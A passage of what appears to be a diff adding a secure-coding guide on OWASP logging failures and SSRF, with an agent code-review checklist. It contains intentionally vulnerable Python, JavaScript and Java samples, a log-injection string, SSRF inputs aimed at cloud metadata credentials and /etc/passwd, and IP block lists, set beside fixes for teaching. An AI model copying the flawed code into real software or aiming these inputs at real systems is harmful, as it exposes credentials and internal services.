- Logs are only stored locally and not sent to a centralized monitoring system
|
|
1377
|
+
- Appropriate alerting thresholds and response escalation processes are not in place
|
|
1378
|
+
- Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts
|
|
1379
|
+
- The application cannot detect, escalate, or alert for active attacks in real-time or near real-time
|
|
1380
|
+
- Log data is not protected from tampering (injection, deletion)
|
|
1381
|
+
|
|
1382
|
+
### Attack Scenarios
|
|
1383
|
+
|
|
1384
|
+
**Scenario 1: Undetected Brute Force**
|
|
1385
|
+
An attacker performs a credential stuffing attack with 100,000 password attempts. Because failed logins are not logged, the attack goes unnoticed for months.
|
|
1386
|
+
|
|
1387
|
+
**Scenario 2: Data Exfiltration Without Alerts**
|
|
1388
|
+
An attacker exploits a SQL injection vulnerability to slowly exfiltrate customer records over several weeks. No monitoring detects the unusual query patterns or data volumes.
|
|
1389
|
+
|
|
1390
|
+
**Scenario 3: Log Injection**
|
|
1391
|
+
An attacker injects fake log entries (`\n200 OK admin login success`) to hide their malicious activity among legitimate-looking log entries.
|
|
1392
|
+
|
|
1393
|
+
### Vulnerable Code Examples
|
|
1394
|
+
|
|
1395
|
+
**Python - No Security Event Logging:**
|
|
1396
|
+
```python
|
|
1397
|
+
# VULNERABLE: No logging of authentication events
|
|
1398
|
+
@app.route('/login', methods=['POST'])
|
|
1399
|
+
def login():
|
|
1400
|
+
user = authenticate(request.form['username'], request.form['password'])
|
|
1401
|
+
if user:
|
|
1402
|
+
login_user(user)
|
|
1403
|
+
return redirect('/dashboard')
|
|
1404
|
+
return render_template('login.html', error='Invalid credentials')
|
|
1405
|
+
# No record of who tried to login, from where, or when
|
|
1406
|
+
```
|
|
1407
|
+
|
|
1408
|
+
**JavaScript - Logging Sensitive Data:**
|
|
1409
|
+
```javascript
|
|
1410
|
+
// VULNERABLE: Logging sensitive information
|
|
1411
|
+
app.post('/api/login', async (req, res) => {
|
|
1412
|
+
const { username, password } = req.body;
|
|
1413
|
+
console.log(`Login attempt: username=${username}, password=${password}`); // Logs passwords!
|
|
1414
|
+
try {
|
|
1415
|
+
const user = await authenticate(username, password);
|
|
1416
|
+
console.log(`User data: ${JSON.stringify(user)}`); // Logs PII
|
|
1417
|
+
res.json({ token: generateToken(user) });
|
|
1418
|
+
} catch (err) {
|
|
1419
|
+
console.log(`Login failed for ${username}`);
|
|
1420
|
+
res.status(401).json({ error: 'Invalid credentials' });
|
|
1421
|
+
}
|
|
1422
|
+
});
|
|
1423
|
+
```
|
|
1424
|
+
|
|
1425
|
+
**Java - Log Injection Vulnerability:**
|
|
1426
|
+
```java
|
|
1427
|
+
// VULNERABLE: Unsanitized user input in log messages
|
|
1428
|
+
@PostMapping("/login")
|
|
1429
|
+
public ResponseEntity<?> login(@RequestBody LoginRequest request) {
|
|
1430
|
+
logger.info("Login attempt for user: " + request.getUsername());
|
|
1431
|
+
// Attacker submits username: "admin\n2026-03-28 INFO Login successful for admin"
|
|
1432
|
+
// This creates a fake log entry that looks legitimate
|
|
1433
|
+
// ...
|
|
1434
|
+
}
|
|
1435
|
+
```
|
|
1436
|
+
|
|
1437
|
+
### Fixed Code Examples
|
|
1438
|
+
|
|
1439
|
+
**Python - Comprehensive Security Logging:**
|
|
1440
|
+
```python
|
|
1441
|
+
import logging
|
|
1442
|
+
import structlog
|
|
1443
|
+
from datetime import datetime
|
|
1444
|
+
|
|
1445
|
+
# FIXED: Structured security event logging
|
|
1446
|
+
security_logger = structlog.get_logger("security")
|
|
1447
|
+
|
|
1448
|
+
@app.route('/login', methods=['POST'])
|
|
1449
|
+
@limiter.limit("10 per minute")
|
|
1450
|
+
def login():
|
|
1451
|
+
username = request.form['username']
|
|
1452
|
+
ip_address = request.remote_addr
|
|
1453
|
+
user_agent = request.headers.get('User-Agent', 'unknown')
|
|
1454
|
+
|
|
1455
|
+
user = authenticate(username, request.form['password'])
|
|
1456
|
+
if user:
|
|
1457
|
+
security_logger.info(
|
|
1458
|
+
"authentication_success",
|
|
1459
|
+
username=username,
|
|
1460
|
+
ip_address=ip_address,
|
|
1461
|
+
user_agent=user_agent,
|
|
1462
|
+
event_type="AUTH_SUCCESS",
|
|
1463
|
+
timestamp=datetime.utcnow().isoformat(),
|
|
1464
|
+
)
|
|
1465
|
+
login_user(user)
|
|
1466
|
+
return redirect('/dashboard')
|
|
1467
|
+
|
|
1468
|
+
security_logger.warning(
|
|
1469
|
+
"authentication_failure",
|
|
1470
|
+
username=username,
|
|
1471
|
+
ip_address=ip_address,
|
|
1472
|
+
user_agent=user_agent,
|
|
1473
|
+
event_type="AUTH_FAILURE",
|
|
1474
|
+
timestamp=datetime.utcnow().isoformat(),
|
|
1475
|
+
)
|
|
1476
|
+
return render_template('login.html', error='Invalid credentials'), 401
|
|
1477
|
+
```
|
|
1478
|
+
|
|
1479
|
+
**JavaScript - Safe Structured Logging:**
|
|
1480
|
+
```javascript
|
|
1481
|
+
// FIXED: Structured logging without sensitive data
|
|
1482
|
+
const winston = require('winston');
|
|
1483
|
+
|
|
1484
|
+
const securityLogger = winston.createLogger({
|
|
1485
|
+
level: 'info',
|
|
1486
|
+
format: winston.format.combine(
|
|
1487
|
+
winston.format.timestamp(),
|
|
1488
|
+
winston.format.json()
|
|
1489
|
+
),
|
|
1490
|
+
defaultMeta: { service: 'auth-service' },
|
|
1491
|
+
transports: [
|
|
1492
|
+
new winston.transports.File({ filename: 'security.log' }),
|
|
1493
|
+
new winston.transports.Console(),
|
|
1494
|
+
],
|
|
1495
|
+
});
|
|
1496
|
+
|
|
1497
|
+
app.post('/api/login', async (req, res) => {
|
|
1498
|
+
const { username } = req.body; // Never destructure password into scope
|
|
1499
|
+
const ip = req.ip;
|
|
1500
|
+
const userAgent = req.get('User-Agent');
|
|
1501
|
+
|
|
1502
|
+
try {
|
|
1503
|
+
const user = await authenticate(username, req.body.password);
|
|
1504
|
+
securityLogger.info('Authentication successful', {
|
|
1505
|
+
event: 'AUTH_SUCCESS',
|
|
1506
|
+
username,
|
|
1507
|
+
ip,
|
|
1508
|
+
userAgent,
|
|
1509
|
+
});
|
|
1510
|
+
res.json({ token: generateToken(user) });
|
|
1511
|
+
} catch (err) {
|
|
1512
|
+
securityLogger.warn('Authentication failed', {
|
|
1513
|
+
event: 'AUTH_FAILURE',
|
|
1514
|
+
username,
|
|
1515
|
+
ip,
|
|
1516
|
+
userAgent,
|
|
1517
|
+
reason: err.code, // Log error code, not full error
|
|
1518
|
+
});
|
|
1519
|
+
res.status(401).json({ error: 'Invalid credentials' });
|
|
1520
|
+
}
|
|
1521
|
+
});
|
|
1522
|
+
```
|
|
1523
|
+
|
|
1524
|
+
**Java - Log Injection Prevention:**
|
|
1525
|
+
```java
|
|
1526
|
+
// FIXED: Sanitized log messages with structured logging
|
|
1527
|
+
import org.slf4j.Logger;
|
|
1528
|
+
import org.slf4j.LoggerFactory;
|
|
1529
|
+
import net.logstash.logback.argument.StructuredArguments;
|
|
1530
|
+
|
|
1531
|
+
@PostMapping("/login")
|
|
1532
|
+
public ResponseEntity<?> login(@RequestBody LoginRequest request) {
|
|
1533
|
+
// Sanitize input before logging - strip control characters
|
|
1534
|
+
String sanitizedUsername = request.getUsername()
|
|
1535
|
+
.replaceAll("[\\r\\n\\t]", "_");
|
|
1536
|
+
|
|
1537
|
+
logger.info("Login attempt",
|
|
1538
|
+
StructuredArguments.kv("username", sanitizedUsername),
|
|
1539
|
+
StructuredArguments.kv("ip", request.getRemoteAddr()),
|
|
1540
|
+
StructuredArguments.kv("event", "AUTH_ATTEMPT")
|
|
1541
|
+
);
|
|
1542
|
+
// ...
|
|
1543
|
+
}
|
|
1544
|
+
```
|
|
1545
|
+
|
|
1546
|
+
### Defense Strategies
|
|
1547
|
+
|
|
1548
|
+
1. **Ensure all login, access control, and server-side input validation failures can be logged** with sufficient user context to identify suspicious or malicious accounts
|
|
1549
|
+
2. **Ensure logs are generated in a format** that log management solutions can easily consume (structured JSON)
|
|
1550
|
+
3. **Ensure log data is encoded correctly** to prevent injections or attacks on logging/monitoring systems
|
|
1551
|
+
4. **Ensure high-value transactions have an audit trail** with integrity controls to prevent tampering or deletion (append-only database tables, blockchain-based audit)
|
|
1552
|
+
5. **Establish effective monitoring and alerting** such that suspicious activities are detected and responded to within acceptable time periods
|
|
1553
|
+
6. **Establish or adopt an incident response and recovery plan** such as NIST 800-61r2 or later
|
|
1554
|
+
7. **Never log sensitive data** (passwords, tokens, credit card numbers, PII) - mask or omit them
|
|
1555
|
+
8. **Forward logs to a centralized, immutable log store** (ELK Stack, Splunk, CloudWatch Logs)
|
|
1556
|
+
|
|
1557
|
+
### Detection Tools
|
|
1558
|
+
|
|
1559
|
+
- **ELK Stack** (Elasticsearch, Logstash, Kibana) - Centralized logging and analysis
|
|
1560
|
+
- **Splunk** - Security Information and Event Management (SIEM)
|
|
1561
|
+
- **Grafana + Loki** - Log aggregation and alerting
|
|
1562
|
+
- **AWS CloudTrail / CloudWatch** - Cloud audit and monitoring
|
|
1563
|
+
- **Falco** - Runtime security monitoring for containers
|
|
1564
|
+
- **OSSEC / Wazuh** - Host-based intrusion detection with log analysis
|
|
1565
|
+
- **PagerDuty / OpsGenie** - Alert escalation and incident management
|
|
1566
|
+
|
|
1567
|
+
---
|
|
1568
|
+
|
|
1569
|
+
## A10:2021 Server-Side Request Forgery (SSRF)
|
|
1570
|
+
|
|
1571
|
+
### Description
|
|
1572
|
+
|
|
1573
|
+
SSRF flaws occur when a web application fetches a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list.
|
|
1574
|
+
|
|
1575
|
+
Modern applications frequently fetch URLs, making SSRF increasingly common. Severity can be high when combined with cloud metadata services (e.g., AWS EC2 metadata at `169.254.169.254`), internal services, or file protocol handlers.
|
|
1576
|
+
|
|
1577
|
+
### Attack Scenarios
|
|
1578
|
+
|
|
1579
|
+
**Scenario 1: Cloud Metadata Access**
|
|
1580
|
+
An attacker provides `http://169.254.169.254/latest/meta-data/iam/security-credentials/` as a URL parameter. The application fetches AWS IAM credentials from the internal metadata service.
|
|
1581
|
+
|
|
1582
|
+
**Scenario 2: Internal Network Scanning**
|
|
1583
|
+
An attacker uses the SSRF vulnerability to probe internal services: `http://192.168.1.1:8080/admin`, discovering and accessing internal admin panels.
|
|
1584
|
+
|
|
1585
|
+
**Scenario 3: File Protocol Exploitation**
|
|
1586
|
+
An attacker submits `file:///etc/passwd` as a URL, and the application reads and returns the contents of the system password file.
|
|
1587
|
+
|
|
1588
|
+
### Vulnerable Code Examples
|
|
1589
|
+
|
|
1590
|
+
**Python - Unrestricted URL Fetch:**
|
|
1591
|
+
```python
|
|
1592
|
+
import requests
|
|
1593
|
+
|
|
1594
|
+
# VULNERABLE: No URL validation, fetches any user-supplied URL
|
|
1595
|
+
@app.route('/api/fetch-url')
|
|
1596
|
+
def fetch_url():
|
|
1597
|
+
url = request.args.get('url')
|
|
1598
|
+
response = requests.get(url) # Attacker can access internal services
|
|
1599
|
+
return jsonify({"content": response.text})
|
|
1600
|
+
```
|
|
1601
|
+
|
|
1602
|
+
**JavaScript - Open Proxy:**
|
|
1603
|
+
```javascript
|
|
1604
|
+
// VULNERABLE: Acts as an open proxy to any URL
|
|
1605
|
+
const axios = require('axios');
|
|
1606
|
+
|
|
1607
|
+
app.get('/api/preview', async (req, res) => {
|
|
1608
|
+
const { url } = req.query;
|
|
1609
|
+
const response = await axios.get(url);
|
|
1610
|
+
res.json({ data: response.data });
|
|
1611
|
+
});
|
|
1612
|
+
```
|
|
1613
|
+
|
|
1614
|
+
**Java - Unrestricted URL Connection:**
|
|
1615
|
+
```java
|
|
1616
|
+
// VULNERABLE: No validation of user-supplied URL
|
|
1617
|
+
@GetMapping("/api/fetch")
|
|
1618
|
+
public ResponseEntity<String> fetchUrl(@RequestParam String url) throws IOException {
|
|
1619
|
+
URL target = new URL(url);
|
|
1620
|
+
HttpURLConnection conn = (HttpURLConnection) target.openConnection();
|
|
1621
|
+
BufferedReader reader = new BufferedReader(
|
|
1622
|
+
new InputStreamReader(conn.getInputStream()));
|
|
1623
|
+
String content = reader.lines().collect(Collectors.joining("\n"));
|
|
1624
|
+
return ResponseEntity.ok(content);
|
|
1625
|
+
}
|
|
1626
|
+
```
|
|
1627
|
+
|
|
1628
|
+
### Fixed Code Examples
|
|
1629
|
+
|
|
1630
|
+
**Python - URL Validation with Allowlist:**
|
|
1631
|
+
```python
|
|
1632
|
+
import requests
|
|
1633
|
+
import ipaddress
|
|
1634
|
+
from urllib.parse import urlparse
|
|
1635
|
+
|
|
1636
|
+
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}
|
|
1637
|
+
BLOCKED_IP_RANGES = [
|
|
1638
|
+
ipaddress.ip_network('10.0.0.0/8'),
|
|
1639
|
+
ipaddress.ip_network('172.16.0.0/12'),
|
|
1640
|
+
ipaddress.ip_network('192.168.0.0/16'),
|
|
1641
|
+
ipaddress.ip_network('127.0.0.0/8'),
|
|
1642
|
+
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
|
|
1643
|
+
ipaddress.ip_network('0.0.0.0/8'),
|
|
1644
|
+
]
|
|
1645
|
+
|
|
1646
|
+
# FIXED: Strict URL validation with domain allowlist and IP blocklist
|
|
1647
|
+
@app.route('/api/fetch-url')
|
|
1648
|
+
def fetch_url():
|
|
1649
|
+
url = request.args.get('url')
|
|
1650
|
+
parsed = urlparse(url)
|
|
1651
|
+
|
|
1652
|
+
# Only allow HTTPS
|
|
1653
|
+
if parsed.scheme != 'https':
|
|
1654
|
+
return jsonify({"error": "Only HTTPS URLs allowed"}), 400
|
|
1655
|
+
|
|
1656
|
+
# Check domain allowlist
|
|
1657
|
+
if parsed.hostname not in ALLOWED_DOMAINS:
|
|
1658
|
+
return jsonify({"error": "Domain not allowed"}), 400
|
|
1659
|
+
|
|
1660
|
+
# Resolve DNS and check IP against blocklist
|
|
1661
|
+
try:
|
|
1662
|
+
resolved_ip = ipaddress.ip_address(
|
|
1663
|
+
socket.gethostbyname(parsed.hostname)
|
|
1664
|
+
)
|
|
1665
|
+
for blocked_range in BLOCKED_IP_RANGES:
|
|
1666
|
+
if resolved_ip in blocked_range:
|
|
1667
|
+
return jsonify({"error": "Access denied"}), 403
|
|
1668
|
+
except (socket.gaierror, ValueError):
|
|
1669
|
+
return jsonify({"error": "Invalid hostname"}), 400
|
|
1670
|
+
|
|
1671
|
+
response = requests.get(url, timeout=5, allow_redirects=False)
|
|
1672
|
+
return jsonify({"content": response.text[:10000]}) # Limit response size
|
|
1673
|
+
```
|
|
1674
|
+
|
|
1675
|
+
**JavaScript - URL Validation Middleware:**
|
|
1676
|
+
```javascript
|
|
1677
|
+
// FIXED: URL validation with allowlist and IP range blocking
|
|
1678
|
+
const { URL } = require('url');
|
|
1679
|
+
const dns = require('dns').promises;
|
|
1680
|
+
const ipRangeCheck = require('ip-range-check');
|
|
1681
|
+
|
|
1682
|
+
const ALLOWED_DOMAINS = new Set(['api.example.com', 'cdn.example.com']);
|
|
1683
|
+
const BLOCKED_RANGES = [
|
|
1684
|
+
'10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
|
|
1685
|
+
'127.0.0.0/8', '169.254.0.0/16', '0.0.0.0/8',
|
|
1686
|
+
];
|
|
1687
|
+
|
|
1688
|
+
async function validateUrl(urlString) {
|
|
1689
|
+
const parsed = new URL(urlString);
|
|
1690
|
+
|
|
1691
|
+
if (parsed.protocol !== 'https:') {
|
|
1692
|
+
throw new Error('Only HTTPS allowed');
|
|
1693
|
+
}
|
|
1694
|
+
|
|
1695
|
+
if (!ALLOWED_DOMAINS.has(parsed.hostname)) {
|
|
1696
|
+
throw new Error('Domain not in allowlist');
|
|
1697
|
+
}
|
|
1698
|
+
|
|
1699
|
+
const addresses = await dns.resolve4(parsed.hostname);
|
|
1700
|
+
for (const addr of addresses) {
|
|
1701
|
+
if (ipRangeCheck(addr, BLOCKED_RANGES)) {
|
|
1702
|
+
throw new Error('IP address blocked');
|
|
1703
|
+
}
|
|
1704
|
+
}
|
|
1705
|
+
|
|
1706
|
+
return parsed.href;
|
|
1707
|
+
}
|
|
1708
|
+
|
|
1709
|
+
app.get('/api/preview', async (req, res) => {
|
|
1710
|
+
try {
|
|
1711
|
+
const validatedUrl = await validateUrl(req.query.url);
|
|
1712
|
+
const response = await axios.get(validatedUrl, {
|
|
1713
|
+
timeout: 5000,
|
|
1714
|
+
maxRedirects: 0,
|
|
1715
|
+
maxContentLength: 1024 * 1024, // 1MB limit
|
|
1716
|
+
});
|
|
1717
|
+
res.json({ data: response.data });
|
|
1718
|
+
} catch (err) {
|
|
1719
|
+
res.status(400).json({ error: err.message });
|
|
1720
|
+
}
|
|
1721
|
+
});
|
|
1722
|
+
```
|
|
1723
|
+
|
|
1724
|
+
**Java - SSRF Prevention with Allowlist:**
|
|
1725
|
+
```java
|
|
1726
|
+
// FIXED: URL validation with allowlist and private IP blocking
|
|
1727
|
+
@GetMapping("/api/fetch")
|
|
1728
|
+
public ResponseEntity<String> fetchUrl(@RequestParam String url) {
|
|
1729
|
+
try {
|
|
1730
|
+
URL target = new URL(url);
|
|
1731
|
+
|
|
1732
|
+
// Only HTTPS
|
|
1733
|
+
if (!"https".equals(target.getProtocol())) {
|
|
1734
|
+
return ResponseEntity.badRequest().body("Only HTTPS allowed");
|
|
1735
|
+
}
|
|
1736
|
+
|
|
1737
|
+
// Domain allowlist
|
|
1738
|
+
Set<String> allowedDomains = Set.of("api.example.com", "cdn.example.com");
|
|
1739
|
+
if (!allowedDomains.contains(target.getHost())) {
|
|
1740
|
+
return ResponseEntity.badRequest().body("Domain not allowed");
|
|
1741
|
+
}
|
|
1742
|
+
|
|
1743
|
+
// Resolve and check IP
|
|
1744
|
+
InetAddress resolved = InetAddress.getByName(target.getHost());
|
|
1745
|
+
if (resolved.isLoopbackAddress() || resolved.isSiteLocalAddress()
|
|
1746
|
+
|| resolved.isLinkLocalAddress() || resolved.isAnyLocalAddress()) {
|
|
1747
|
+
return ResponseEntity.status(403).body("Access denied");
|
|
1748
|
+
}
|
|
1749
|
+
|
|
1750
|
+
HttpURLConnection conn = (HttpURLConnection) target.openConnection();
|
|
1751
|
+
conn.setConnectTimeout(5000);
|
|
1752
|
+
conn.setReadTimeout(5000);
|
|
1753
|
+
conn.setInstanceFollowRedirects(false);
|
|
1754
|
+
|
|
1755
|
+
BufferedReader reader = new BufferedReader(
|
|
1756
|
+
new InputStreamReader(conn.getInputStream()));
|
|
1757
|
+
String content = reader.lines()
|
|
1758
|
+
.limit(1000) // Limit lines read
|
|
1759
|
+
.collect(Collectors.joining("\n"));
|
|
1760
|
+
return ResponseEntity.ok(content);
|
|
1761
|
+
} catch (Exception e) {
|
|
1762
|
+
return ResponseEntity.badRequest().body("Invalid URL");
|
|
1763
|
+
}
|
|
1764
|
+
}
|
|
1765
|
+
```
|
|
1766
|
+
|
|
1767
|
+
### Defense Strategies
|
|
1768
|
+
|
|
1769
|
+
1. **Sanitize and validate all client-supplied input data**, including URL schemas, ports, and destination
|
|
1770
|
+
2. **Use an allowlist of permitted URL schemas, ports, and destinations** rather than a denylist
|
|
1771
|
+
3. **Disable HTTP redirections** (or validate the redirect target if needed)
|
|
1772
|
+
4. **Do not send raw responses** to clients. Validate and sanitize server responses
|
|
1773
|
+
5. **Segment remote resource access functionality** into separate networks to reduce the impact of SSRF
|
|
1774
|
+
6. **For cloud environments, block access to metadata endpoints** (169.254.169.254) at the network level and use IMDSv2 (requires session token)
|
|
1775
|
+
7. **Use DNS resolution validation** to prevent DNS rebinding attacks (resolve hostname, verify IP, then connect)
|
|
1776
|
+
8. **Implement egress firewall rules** to restrict outbound connections from the application server to only necessary external services
|
|
1777
|
+
|
|
1778
|
+
### Detection Tools
|
|
1779
|
+
|
|
1780
|
+
- **Burp Suite Collaborator** - Detects out-of-band SSRF
|
|
1781
|
+
- **OWASP ZAP** - Active SSRF scanning
|
|
1782
|
+
- **SSRFmap** - Automated SSRF detection and exploitation
|
|
1783
|
+
- **Semgrep** - Static rules for unsafe URL fetching patterns
|
|
1784
|
+
- **Cloud provider security tools** - AWS IMDSv2, GCP metadata concealment
|
|
1785
|
+
- **WAF rules** - Block requests containing internal IP ranges or metadata URLs
|
|
1786
|
+
|
|
1787
|
+
---
|
|
1788
|
+
|
|
1789
|
+
## Agent Security Checklist
|
|
1790
|
+
|
|
1791
|
+
The following checklist MUST be applied by the Agent during code review. Each item is a hard gate -- any violation must be flagged and fixed before merge.
|
|
1792
|
+
|
|
1793
|
+
### Access Control (A01)
|
|
1794
|
+
|
|
1795
|
+
- [ ] Every API endpoint has explicit authorization checks (decorator, middleware, or annotation)
|
|
1796
|
+
- [ ] Resource access validates ownership (user_id matches the requesting user) or proper role
|
|
1797
|
+
- [ ] Admin endpoints are protected with role-based access control (RBAC)
|
|
1798
|
+
- [ ] No IDOR vulnerabilities: object IDs in URLs/params are validated against the authenticated user's permissions
|
|
1799
|
+
- [ ] CORS configuration uses specific origins, not wildcard `*` with credentials
|
|
1800
|
+
- [ ] Default deny: new endpoints are restricted unless explicitly marked public
|
|
1801
|
+
|
|
1802
|
+
### Cryptography (A02)
|
|
1803
|
+
|
|
1804
|
+
- [ ] No hardcoded secrets, API keys, or encryption keys in source code
|
|
1805
|
+
- [ ] Passwords are hashed with bcrypt, scrypt, or Argon2id (never MD5/SHA1/SHA256 for passwords)
|
|
1806
|
+
- [ ] Encryption uses AES-256-GCM or equivalent authenticated encryption (no ECB mode)
|
|
1807
|
+
- [ ] TLS 1.2+ enforced for all external communications
|
|
1808
|
+
- [ ] Random values for security purposes use CSPRNG (secrets module in Python, crypto.randomBytes in Node.js, SecureRandom in Java)
|
|
1809
|
+
- [ ] Secrets are loaded from environment variables or a secrets manager, never from config files in the repository
|
|
1810
|
+
|
|
1811
|
+
### Injection (A03)
|
|
1812
|
+
|
|
1813
|
+
- [ ] All SQL queries use parameterized statements or ORM methods (no string concatenation/interpolation)
|
|
1814
|
+
- [ ] User input rendered in HTML is properly escaped (context-sensitive output encoding)
|
|
1815
|
+
- [ ] React/Vue `dangerouslySetInnerHTML` / `v-html` is never used with user-controlled data
|
|
1816
|
+
- [ ] Content Security Policy (CSP) header is present and properly configured
|
|
1817
|
+
- [ ] System commands never use `shell=True` with user input; arguments are passed as lists
|
|
1818
|
+
- [ ] NoSQL queries cast user input to expected types (string, int) before use
|
|
1819
|
+
|
|
1820
|
+
### Design (A04)
|
|
1821
|
+
|
|
1822
|
+
- [ ] Rate limiting is applied to authentication endpoints, password reset, and OTP verification
|
|
1823
|
+
- [ ] Business-critical operations validate data server-side (prices, quantities, discounts)
|
|
1824
|
+
- [ ] Multi-tenant data access enforces tenant isolation at the query/ORM level
|
|
1825
|
+
- [ ] Abuse cases are identified and mitigated (coupon reuse, referral fraud, mass registration)
|
|
1826
|
+
|
|
1827
|
+
### Configuration (A05)
|
|
1828
|
+
|
|
1829
|
+
- [ ] Debug mode is disabled in production (`DEBUG=False`, no verbose error responses)
|
|
1830
|
+
- [ ] Error responses return generic messages with correlation IDs (no stack traces, no environment variables)
|
|
1831
|
+
- [ ] Security headers are set: HSTS, X-Content-Type-Options, X-Frame-Options, CSP
|
|
1832
|
+
- [ ] Default credentials are removed or changed for all services (databases, admin panels, caches)
|
|
1833
|
+
- [ ] Unnecessary features, endpoints, and services are disabled in production
|
|
1834
|
+
- [ ] Spring Boot Actuator / Django admin endpoints are secured or disabled in production
|
|
1835
|
+
|
|
1836
|
+
### Dependencies (A06)
|
|
1837
|
+
|
|
1838
|
+
- [ ] All dependencies have pinned versions (exact or range-bounded)
|
|
1839
|
+
- [ ] A lockfile exists and is committed (package-lock.json, poetry.lock, Pipfile.lock)
|
|
1840
|
+
- [ ] No dependencies with known critical/high CVEs (verified via npm audit, pip-audit, OWASP Dependency-Check)
|
|
1841
|
+
- [ ] Dependencies are from official registries only (no typosquatting risk)
|
|
1842
|
+
|
|
1843
|
+
### Authentication (A07)
|
|
1844
|
+
|
|
1845
|
+
- [ ] Session IDs are regenerated after login
|
|
1846
|
+
- [ ] Session cookies have Secure, HttpOnly, and SameSite attributes
|
|
1847
|
+
- [ ] JWT tokens have expiration (exp claim), algorithm is pinned (no alg:none), secret is strong (256+ bits)
|
|
1848
|
+
- [ ] Account lockout or progressive delay is implemented after repeated failed login attempts
|
|
1849
|
+
- [ ] Login error messages do not reveal whether the username or password was incorrect
|
|
1850
|
+
- [ ] Logout properly invalidates server-side session / revokes tokens
|
|
1851
|
+
|
|
1852
|
+
### Integrity (A08)
|
|
1853
|
+
|
|
1854
|
+
- [ ] No use of unsafe deserialization (pickle, Java ObjectInputStream, PHP unserialize) with untrusted data
|
|
1855
|
+
- [ ] CDN-loaded scripts and stylesheets use Subresource Integrity (SRI) hashes
|
|
1856
|
+
- [ ] CI/CD pipeline uses signed artifacts and verified base images
|
|
1857
|
+
- [ ] Data from external APIs is validated before use
|
|
1858
|
+
|
|
1859
|
+
### Logging (A09)
|
|
1860
|
+
|
|
1861
|
+
- [ ] Authentication events (success, failure, lockout) are logged with structured metadata
|
|
1862
|
+
- [ ] Log messages never contain passwords, tokens, credit card numbers, or PII
|
|
1863
|
+
- [ ] User input in log messages is sanitized to prevent log injection (strip `\n`, `\r`, control chars)
|
|
1864
|
+
- [ ] Logs are sent to a centralized logging system (not only local files)
|
|
1865
|
+
- [ ] Alerts are configured for anomalous patterns (brute force, mass data access, privilege escalation)
|
|
1866
|
+
|
|
1867
|
+
### SSRF (A10)
|
|
1868
|
+
|
|
1869
|
+
- [ ] All outbound HTTP requests from user-controlled URLs are validated against a domain allowlist
|
|
1870
|
+
- [ ] Private/internal IP ranges (10.x, 172.16.x, 192.168.x, 127.x, 169.254.x) are blocked for user-supplied URLs
|
|
1871
|
+
- [ ] HTTP redirects are disabled or the redirect target is validated
|
|
1872
|
+
- [ ] URL scheme is restricted to HTTPS for user-controlled outbound requests
|
|
1873
|
+
- [ ] DNS resolution is validated before making the connection (prevent DNS rebinding)
|
|
1874
|
+
- [ ] Cloud metadata endpoints are blocked at both application and network level
|
|
1875
|
+
|
|
1876
|
+
### General Security Practices
|
|
1877
|
+
|
|
1878
|
+
- [ ] All user input is validated on the server side (never trust client-side validation alone)
|
|
1879
|
+
- [ ] File uploads validate type, size, and content (not just extension); files are stored outside web root
|
|
1880
|
+
- [ ] API responses do not expose internal IDs, stack traces, or implementation details
|
|
1881
|
+
- [ ] HTTP methods are restricted to those actually needed per endpoint
|
|
1882
|
+
- [ ] Security-sensitive operations use CSRF tokens for state-changing requests
|
|
1883
|
+
- [ ] Application uses the principle of least privilege for database accounts, file system access, and network permissions
|
|
1884
|
+
|
|
1885
|
+
---
|
|
1886
|
+
|
|
1887
|
+
> **Document Version**: v1.0
|
|
1888
|
+
> **Last Updated**: 2026-03-28
|
|
1889
|
+
> **Maintained by**: UmaDev Security Standards
|
|
1890
|
+
> **References**: [OWASP Top 10 2021](https://owasp.org/Top10/), [OWASP ASVS](https://owasp.org/www-project-application-security-verification-standard/), [NIST 800-63b](https://pages.nist.gov/800-63-3/sp800-63b.html)
|